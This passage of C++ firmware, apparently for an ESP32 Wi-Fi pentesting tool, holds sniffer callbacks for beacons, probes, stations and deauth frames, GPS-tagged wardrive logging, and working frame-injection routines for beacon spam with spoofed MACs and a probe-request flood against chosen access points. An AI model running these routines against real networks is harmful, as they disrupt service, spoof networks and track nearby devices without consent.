(wifi_scan_obj.multissid_trackers->size() >= MAX_AP_ENTRIES) { if (!wifi_scan_obj.multissid_list_full_reported) { Serial.println("AP List Full - Clearing list to make room"); wifi_scan_obj.multissid_list_full_reported = true; wifi_scan_obj.multissid_trackers->clear(); Serial.println("AP list cleared, continuing scan"); } // Add the current AP to the freshly cleared list MultiSSIDTracker new_tracker; memcpy(new_tracker.mac, mac_addr, 6); new_tracker.ssid_hashes[0] = ssid_hash; new_tracker.unique_ssid_count = 1; new_tracker.reported = false; wifi_scan_obj.multissid_trackers->add(new_tracker); ap_index = wifi_scan_obj.multissid_trackers->size() - 1; // Reset the full reported flag since we've made room wifi_scan_obj.multissid_list_full_reported = false; } else { // Add to tracking list when there is room MultiSSIDTracker new_tracker; memcpy(new_tracker.mac, mac_addr, 6); new_tracker.ssid_hashes[0] = ssid_hash; new_tracker.unique_ssid_count = 1; new_tracker.reported = false; wifi_scan_obj.multissid_trackers->add(new_tracker); ap_index = wifi_scan_obj.multissid_trackers->size() - 1; } } else { MultiSSIDTracker tracker = wifi_scan_obj.multissid_trackers->get(ap_index); // Check if we have already seen this SSID hash bool hash_found = false; for (int i = 0; i < min(MULTISSID_THRESHOLD, (int)tracker.unique_ssid_count); i++) { if (tracker.ssid_hashes[i] == ssid_hash) { hash_found = true; break; } } // Add new hash if not seen before if (!hash_found && tracker.unique_ssid_count < MULTISSID_THRESHOLD) { int index = tracker.unique_ssid_count; tracker.ssid_hashes[index] = ssid_hash; tracker.unique_ssid_count = min(MULTISSID_THRESHOLD, tracker.unique_ssid_count + 1); wifi_scan_obj.multissid_trackers->set(ap_index, tracker); } // Check if this MAC now has enough unique SSIDs if (tracker.unique_ssid_count >= MULTISSID_THRESHOLD) { multi_ssid_ap = true; } } // If we found a multi SSID AP, report it if (multi_ssid_ap) { if (snifferPacket->payload[37] <= 0) { essid = "[hidden]"; } else { for (int i = 0; i < snifferPacket->payload[37]; i++) { essid.concat((char)snifferPacket->payload[i + 38]); } } char addr[18]; snprintf(addr, sizeof(addr), "%02X:%02X:%02X:%02X:%02X:%02X", mac_addr[0], mac_addr[1], mac_addr[2], mac_addr[3], mac_addr[4], mac_addr[5]); // Add to confirmed Multi SSID list ConfirmedMultiSSID new_confirmed; memcpy(new_confirmed.mac, mac_addr, 6); new_confirmed.essid = essid; new_confirmed.channel = ap_channel; new_confirmed.rssi = snifferPacket->rx_ctrl.rssi; new_confirmed.ssid_count = wifi_scan_obj.multissid_trackers->get(ap_index).unique_ssid_count; new_confirmed.displayed = false; wifi_scan_obj.confirmed_multissid->add(new_confirmed); String log_line = "MAC: " + String(addr) + " CH: " + String(ap_channel) + " RSSI: " + String(snifferPacket->rx_ctrl.rssi) + " SSIDs: " + String(new_confirmed.ssid_count) + " SSID: " + essid; log_line += "\n"; delay(random(0, 10)); Serial.print(log_line); display_string.concat("MAC: " + String(addr)); display_string.concat(" CH: " + String(ap_channel)); display_string.concat(" RSSI: " + String(snifferPacket->rx_ctrl.rssi)); display_string.concat(" SSIDs: " + String(new_confirmed.ssid_count)); display_string.concat(" SSID: " + essid); int temp_len = display_string.length(); for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif } } } } void WiFiScan::beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; #ifdef HAS_GPS extern GpsInterface gps_obj; extern EvilPortal evil_portal_obj; #endif wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String essid = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buff = display_obj.display_buffer->size(); #else int buff = 0; #endif uint8_t target_mac[6] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad}; // It is a beacon if ((snifferPacket->payload[0] == 0x80) && (buff == 0)) { bool mac_match = true; for (int i = 0; i < 6; i++) { if (snifferPacket->payload[10 + i] != target_mac[i]) { mac_match = false; break; } } // If MAC matches, call processPwnagotchiBeacon with frame data if (mac_match) { Serial.println("Pwnagotchi beacon detected!"); wifi_scan_obj.processPwnagotchiBeacon(snifferPacket->payload, len); return; } if (wifi_scan_obj.currentScanMode == WIFI_SCAN_PWN) { buffer_obj.append(snifferPacket, len); return; } // Do signal strength stuff first else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) { bool found = false; uint8_t targ_index = 0; AccessPoint targ_ap; // Check list of APs for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { uint8_t addr[] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}; // Compare AP bssid to ssid of recvd packet for (int x = 0; x < 6; x++) { if (addr[x] != access_points->get(i).bssid[x]) { found = false; break; } else found = true; } if (found) { targ_ap = access_points->get(i); targ_index = i; break; } } } if (!found) return; if ((targ_ap.rssi + 5 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 5 < targ_ap.rssi)) { targ_ap.rssi = snifferPacket->rx_ctrl.rssi; access_points->set(targ_index, targ_ap); Serial.println((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi); display_string.concat((String)access_points->get(targ_index).essid); display_string.concat(" RSSI: "); display_string.concat((String)access_points->get(targ_index).rssi); int temp_len = display_string.length(); for (int i = 0; i < 50 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #endif return; } } else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_AP) { delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); Serial.print(addr); Serial.print(" ESSID Len: " + (String)snifferPacket->payload[37]); Serial.print(" ESSID: "); #ifdef HAS_FULL_SCREEN display_string.concat(snifferPacket->rx_ctrl.rssi); display_string.concat(" "); display_string.concat(snifferPacket->rx_ctrl.channel); display_string.concat(" "); #endif if (snifferPacket->payload[37] <= 0) display_string.concat(addr); else { for (int i = 0; i < snifferPacket->payload[37]; i++) { Serial.print((char)snifferPacket->payload[i + 38]); display_string.concat((char)snifferPacket->payload[i + 38]); } } int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); display_obj.display_buffer->add(display_string); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_WAR_DRIVE) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { bool do_save = false; // Check if we've already seen this AP char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); if (wifi_scan_obj.seen_mac(reinterpret_cast(addr))) return; Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); if (snifferPacket->payload[37] > 0) { Serial.print(" ESSID: "); for (int i = 0; i < snifferPacket->payload[37]; i++) { Serial.print((char)snifferPacket->payload[i + 38]); display_string.concat((char)snifferPacket->payload[i + 38]); essid.concat((char)snifferPacket->payload[i + 38]); } } else { Serial.print(" BSSID: "); Serial.print(addr); display_string.concat(addr); } if (gps_obj.getFixStatus()) { do_save = true; display_string.concat(" | Lt: " + gps_obj.getLat()); display_string.concat(" | Ln: " + gps_obj.getLon()); } else display_string.concat(" | GPS: No Fix"); int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); display_obj.display_buffer->add(display_string); #endif Serial.println(); wifi_scan_obj.save_mac(reinterpret_cast(addr)); int n = WiFi.scanNetworks(false, true, false, 110, wifi_scan_obj.set_channel); if (do_save) { if (n > 0) { for (int i = 0; i < n; i++) { Serial.printf("%-32.32s", WiFi.SSID(i).c_str()); Serial.print(" -> "); Serial.println(wifi_scan_obj.security_int_to_string(WiFi.encryptionType(i)).c_str()); } } String wardrive_line = (String)addr + "," + essid + "," + wifi_scan_obj.security_int_to_string(snifferPacket->rx_ctrl.channel) + "," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI"; Serial.println(wardrive_line); //buffer_obj.append(wardrive_line); } } #endif } } } } void WiFiScan::stationSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; bool mem_check = wifi_scan_obj.checkMem(); String display_string = ""; String mac = ""; if (type != WIFI_PKT_DATA) return; /*{ len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; }*/ char ap_addr[] = "00:00:00:00:00:00"; char dst_addr[] = "00:00:00:00:00:00"; int ap_index = 0; // Check if frame has ap in list of APs and determine position uint8_t frame_offset = 0; int offsets[2] = {10, 4}; bool matched_ap = false; bool ap_is_src = false; bool mac_match = true; for (int y = 0; y < 2; y++) { for (int i = 0; i < access_points->size(); i++) { mac_match = true; for (int x = 0; x < 6; x++) { if (snifferPacket->payload[x + offsets[y]] != access_points->get(i).bssid[x]) { mac_match = false; break; } } if (mac_match) { matched_ap = true; if (offsets[y] == 10) ap_is_src = true; ap_index = i; getMAC(ap_addr, snifferPacket->payload, offsets[y]); break; } } if (matched_ap) break; } // If did not find ap from list in frame, drop frame if (!matched_ap) return; else { if (ap_is_src) frame_offset = 4; else frame_offset = 10; } /* Stuff to care about now * ap_is_src * ap_index */ // Check if we already have this station bool in_list = false; for (int i = 0; i < stations->size(); i++) { mac_match = true; for (int x = 0; x < 6; x++) { //Serial.println((String)snifferPacket->payload[x + 10] + " | " + (String)access_points->get(i).bssid[x]); if (snifferPacket->payload[x + frame_offset] != stations->get(i).mac[x]) { mac_match = false; //Serial.println("MACs do not match"); break; } } if (mac_match) { in_list = true; break; } } getMAC(dst_addr, snifferPacket->payload, 4); // Check if dest is broadcast if ((in_list) || (strcmp(dst_addr, "ff:ff:ff:ff:ff:ff") == 0)) return; // Add to list of stations if (mem_check) { Station sta = { {snifferPacket->payload[frame_offset], snifferPacket->payload[frame_offset + 1], snifferPacket->payload[frame_offset + 2], snifferPacket->payload[frame_offset + 3], snifferPacket->payload[frame_offset + 4], snifferPacket->payload[frame_offset + 5]}, false, 0, ap_index}; stations->add(sta); } // Print findings to serial Serial.print((String)stations->size() + ": "); char sta_addr[] = "00:00:00:00:00:00"; if (ap_is_src) { Serial.print("ap: "); Serial.print(ap_addr); Serial.print(" -> sta: "); getMAC(sta_addr, snifferPacket->payload, 4); Serial.println(sta_addr); } else { Serial.print("sta: "); getMAC(sta_addr, snifferPacket->payload, 10); Serial.print(sta_addr); Serial.print(" -> ap: "); Serial.println(ap_addr); } display_string.concat(replaceOUIWithManufacturer(sta_addr)); //display_string.concat(sta_addr); display_string.concat(" -> "); display_string.concat(access_points->get(ap_index).essid); int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); if (mem_check) display_obj.display_buffer->add(display_string); else { String warning_str = "Memory lim reached " + display_string; display_obj.display_buffer->add(warning_str); } #endif // Add station index to AP in list //access_points->get(ap_index).stations->add(stations->size() - 1); if (mem_check) { AccessPoint ap = access_points->get(ap_index); ap.stations->add(stations->size() - 1); access_points->set(ap_index, ap); } buffer_obj.append(snifferPacket, len); } void WiFiScan::rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; wifi_scan_obj.mgmt_frames++; // Do our counts if (snifferPacket->payload[0] == 0x40) // Probe request wifi_scan_obj.req_frames++; else if (snifferPacket->payload[0] == 0x50) // Probe response wifi_scan_obj.resp_frames++; else if (snifferPacket->payload[0] == 0x80) // Beacon wifi_scan_obj.beacon_frames++; else if (snifferPacket->payload[0] == 0xC0) // Deauth wifi_scan_obj.deauth_frames++; else if (((snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e) || ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e))) // eapol wifi_scan_obj.eapol_frames++; // Get min/max rssi if (snifferPacket->rx_ctrl.rssi < wifi_scan_obj.min_rssi) wifi_scan_obj.min_rssi = snifferPacket->rx_ctrl.rssi; if (snifferPacket->rx_ctrl.rssi > wifi_scan_obj.max_rssi) wifi_scan_obj.max_rssi = snifferPacket->rx_ctrl.rssi; } else { wifi_scan_obj.data_frames++; } if (wifi_scan_obj.currentScanMode == WIFI_SCAN_SIG_STREN) { bool found = false; uint8_t targ_index = 0; AccessPoint targ_ap; // Check list of APs for (int i = 0; i < access_points->size(); i++) { if (access_points->get(i).selected) { uint8_t addr[] = {snifferPacket->payload[10], snifferPacket->payload[11], snifferPacket->payload[12], snifferPacket->payload[13], snifferPacket->payload[14], snifferPacket->payload[15]}; // Compare AP bssid to ssid of recvd packet for (int x = 0; x < 6; x++) { if (addr[x] != access_points->get(i).bssid[x]) { found = false; break; } else found = true; } if (found) { targ_ap = access_points->get(i); targ_index = i; break; } } } if (!found) return; if ((targ_ap.rssi + 1 < snifferPacket->rx_ctrl.rssi) || (snifferPacket->rx_ctrl.rssi + 1 < targ_ap.rssi)) { targ_ap.rssi = snifferPacket->rx_ctrl.rssi; access_points->set(targ_index, targ_ap); Serial.println((String)access_points->get(targ_index).essid + " RSSI: " + (String)access_points->get(targ_index).rssi); /*display_string.concat((String)access_points->get(targ_index).essid); #ifndef HAS_MINI_SCREEN display_string.concat(" RSSI: "); display_string.concat((String)access_points->get(targ_index).rssi); #endif int temp_len = display_string.length(); for (int i = 0; i < 50 - temp_len; i++) { display_string.concat(" "); } #ifdef HAS_SCREEN display_obj.display_buffer->add(display_string); #ifdef HAS_MINI_SCREEN display_string = ""; display_string.concat("RSSI: "); display_string.concat((String)access_points->get(targ_index).rssi); temp_len = display_string.length(); for (int i = 0; i < 50 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); #endif #endif*/ } else return; } buffer_obj.append(snifferPacket, len); } void WiFiScan::deauthSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ) && (buf == 0)) { delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); char addr[] = "00:00:00:00:00:00"; char dst_addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); getMAC(dst_addr, snifferPacket->payload, 4); Serial.print(addr); Serial.print(" -> "); Serial.print(dst_addr); display_string.concat(text_table4[0]); display_string.concat(snifferPacket->rx_ctrl.rssi); display_string.concat(" "); display_string.concat(addr); #ifdef HAS_SCREEN for (int i = 0; i < 19 - snifferPacket->payload[37]; i++) { display_string.concat(" "); } Serial.print(" "); display_obj.display_buffer->add(display_string); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } } } void WiFiScan::probeSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { extern WiFiScan wifi_scan_obj; wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if ((snifferPacket->payload[0] == 0x40) && (buf == 0)) { if (wifi_scan_obj.currentScanMode == WIFI_SCAN_PROBE) { String probe_req_essid; delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" Client: "); char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); Serial.print(addr); display_string.concat(addr); Serial.print(" Requesting: "); display_string.concat(" -> "); for (int i = 0; i < snifferPacket->payload[25]; i++) { Serial.print((char)snifferPacket->payload[26 + i]); probe_req_essid.concat((char)snifferPacket->payload[26 + i]); } display_string.concat(probe_req_essid); if (probe_req_essid.length() > 0) { bool essidExist = false; for (int i = 0; i < probe_req_ssids->size(); i++) { ProbeReqSsid cur_probe_ssid = probe_req_ssids->get(i); if (cur_probe_ssid.essid == probe_req_essid) { cur_probe_ssid.requests++; probe_req_ssids->set(i, cur_probe_ssid); essidExist = true; break; } } if (!essidExist) { ProbeReqSsid probeReqSsid; probeReqSsid.essid = probe_req_essid; probeReqSsid.requests = 1; probeReqSsid.selected = false; probe_req_ssids->add(probeReqSsid); } } // Print spaces because of the rotating lines of the hardware scroll. // The same characters print from previous lines so I just overwrite them // with spaces. #ifdef HAS_SCREEN for (int i = 0; i < 19 - snifferPacket->payload[25]; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } else if (wifi_scan_obj.currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { bool do_save = false; // Check if we've already seen this AP char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); if (wifi_scan_obj.seen_mac(reinterpret_cast(addr))) return; Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" BSSID: "); Serial.print(addr); display_string.concat(addr); if (gps_obj.getFixStatus()) { do_save = true; display_string.concat(" | Lt: " + gps_obj.getLat()); display_string.concat(" | Ln: " + gps_obj.getLon()); } else display_string.concat(" | GPS: No Fix"); int temp_len = display_string.length(); #ifdef HAS_SCREEN for (int i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.print(" "); display_obj.display_buffer->add(display_string); #endif Serial.println(); //wifi_scan_obj.save_mac(reinterpret_cast(addr)); if (do_save) { String wardrive_line = (String)addr + "," + (String)addr + ",," + gps_obj.getDatetime() + "," + (String)snifferPacket->rx_ctrl.channel + "," + (String)snifferPacket->rx_ctrl.rssi + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",WIFI"; Serial.println(wardrive_line); buffer_obj.append(wardrive_line); } } #endif } } } } void WiFiScan::beaconListSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type) { wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf; WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload; wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl; int len = snifferPacket->rx_ctrl.sig_len; String display_string = ""; String essid = ""; bool found = false; if (type == WIFI_PKT_MGMT) { len -= 4; int fctl = ntohs(frameControl->fctl); const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload; const WifiMgmtHdr *hdr = &ipkt->hdr; // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if ((snifferPacket->payload[0] == 0x40) && (buf == 0)) { for (uint8_t i = 0; i < snifferPacket->payload[25]; i++) { essid.concat((char)snifferPacket->payload[26 + i]); } for (int i = 0; i < ssids->size(); i++) { if (ssids->get(i).essid == essid) { Serial.println("Found a sheep"); found = true; break; } } if (!found) return; delay(random(0, 10)); Serial.print("RSSI: "); Serial.print(snifferPacket->rx_ctrl.rssi); Serial.print(" Ch: "); Serial.print(snifferPacket->rx_ctrl.channel); Serial.print(" Client: "); char addr[] = "00:00:00:00:00:00"; getMAC(addr, snifferPacket->payload, 10); Serial.print(addr); display_string.concat(addr); Serial.print(" Requesting: "); display_string.concat(" -> "); // ESSID for (int i = 0; i < snifferPacket->payload[25]; i++) { Serial.print((char)snifferPacket->payload[26 + i]); display_string.concat((char)snifferPacket->payload[26 + i]); } // Print spaces because of the rotating lines of the hardware scroll. // The same characters print from previous lines so I just overwrite them // with spaces. #ifdef HAS_SCREEN for (int i = 0; i < 19 - snifferPacket->payload[25]; i++) display_string.concat(" "); display_obj.display_buffer->add(display_string); #endif Serial.println(); buffer_obj.append(snifferPacket, len); } } } void WiFiScan::broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid) { set_channel = random(1,12); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); delay(1); //if (custom_ssid.beacon->size() == 0) // return; // Randomize SRC MAC // Randomize SRC MAC packet[10] = packet[16] = random(256); packet[11] = packet[17] = random(256); packet[12] = packet[18] = random(256); packet[13] = packet[19] = random(256); packet[14] = packet[20] = random(256); packet[15] = packet[21] = random(256); char ESSID[custom_ssid.essid.length() + 1] = {}; custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1); int realLen = strlen(ESSID); int ssidLen = random(realLen, 33); int numSpace = ssidLen - realLen; //int rand_len = sizeof(rand_reg); int fullLen = ssidLen; packet[37] = fullLen; // Insert my tag for(int i = 0; i < realLen; i++) packet[38 + i] = ESSID[i]; for(int i = 0; i < numSpace; i++) packet[38 + realLen + i] = 0x20; ///////////////////////////// packet[50 + fullLen] = set_channel; uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ }; // Add everything that goes after the SSID //for(int i = 0; i < 12; i++) // packet[38 + fullLen + i] = postSSID[i]; //packet[34] = custom_ssid.beacon->get(0); //packet[35] = custom_ssid.beacon->get(1); packet[34] = custom_ssid.beacon[0]; packet[35] = custom_ssid.beacon[1]; esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); packets_sent = packets_sent + 3; } void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) { set_channel = custom_ssid.channel; esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); delay(1); // Randomize SRC MAC packet[10] = packet[16] = custom_ssid.bssid[0]; packet[11] = packet[17] = custom_ssid.bssid[1]; packet[12] = packet[18] = custom_ssid.bssid[2]; packet[13] = packet[19] = custom_ssid.bssid[3]; packet[14] = packet[20] = custom_ssid.bssid[4]; packet[15] = packet[21] = custom_ssid.bssid[5]; char ESSID[custom_ssid.essid.length() + 1] = {}; custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1); int ssidLen = strlen(ESSID); //int rand_len = sizeof(rand_reg); int fullLen = ssidLen; packet[37] = fullLen; // Insert my tag for(int i = 0; i < ssidLen; i++) packet[38 + i] = ESSID[i]; ///////////////////////////// packet[50 + fullLen] = set_channel; uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ }; // Add everything that goes after the SSID for(int i = 0; i < 12; i++) packet[38 + fullLen + i] = postSSID[i]; esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); packets_sent = packets_sent + 3; } // Function to send beacons with random ESSID length void WiFiScan::broadcastSetSSID(uint32_t current_time, const char* ESSID) { set_channel = random(1,12); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); delay(1); // Randomize SRC MAC packet[10] = packet[16] = random(256); packet[11] = packet[17] = random(256); packet[12] = packet[18] = random(256); packet[13] = packet[19] = random(256); packet[14] = packet[20] = random(256); packet[15] = packet[21] = random(256); int ssidLen = strlen(ESSID); //int rand_len = sizeof(rand_reg); int fullLen = ssidLen; packet[37] = fullLen; // Insert my tag for(int i = 0; i < ssidLen; i++) packet[38 + i] = ESSID[i]; ///////////////////////////// packet[50 + fullLen] = set_channel; uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ }; // Add everything that goes after the SSID for(int i = 0; i < 12; i++) packet[38 + fullLen + i] = postSSID[i]; esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); packets_sent = packets_sent + 3; } // Function for sending crafted beacon frames void WiFiScan::broadcastRandomSSID(uint32_t currentTime) { set_channel = random(1,12); esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE); delay(1); // Randomize SRC MAC packet[10] = packet[16] = random(256); packet[11] = packet[17] = random(256); packet[12] = packet[18] = random(256); packet[13] = packet[19] = random(256); packet[14] = packet[20] = random(256); packet[15] = packet[21] = random(256); packet[37] = 6; // Randomize SSID (Fixed size 6. Lazy right?) packet[38] = alfa[random(65)]; packet[39] = alfa[random(65)]; packet[40] = alfa[random(65)]; packet[41] = alfa[random(65)]; packet[42] = alfa[random(65)]; packet[43] = alfa[random(65)]; packet[56] = set_channel; uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ }; // Add everything that goes after the SSID for(int i = 0; i < 12; i++) packet[38 + 6 + i] = postSSID[i]; esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false); //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false)); //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false)); packets_sent = packets_sent + 3; } // Function to send probe flood to all "active" access points void WiFiScan::sendProbeAttack(uint32_t currentTime) { // Itterate through all access points in list for (int i = 0; i < access_points->size(); i++) { // Check if active if (access_points->get(i).selected) { this->set_channel = access_points->get(i).channel; esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE); delay(1); // Build packet // Randomize SRC MAC prob_req_packet[10] = random(256); prob_req_packet[11] = random(256); prob_req_packet[12] = random(256); prob_req_packet[13] = random(256); prob_req_packet[14] = random(256); prob_req_packet[15] = random(256); // Set SSID length int ssidLen = access_points->get(i).essid.length(); int fullLen = ssidLen; prob_req_packet[25] = fullLen; // Insert ESSID char buf[access_points->get(i).essid.length() + 1] = {}; access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1); for(int i = 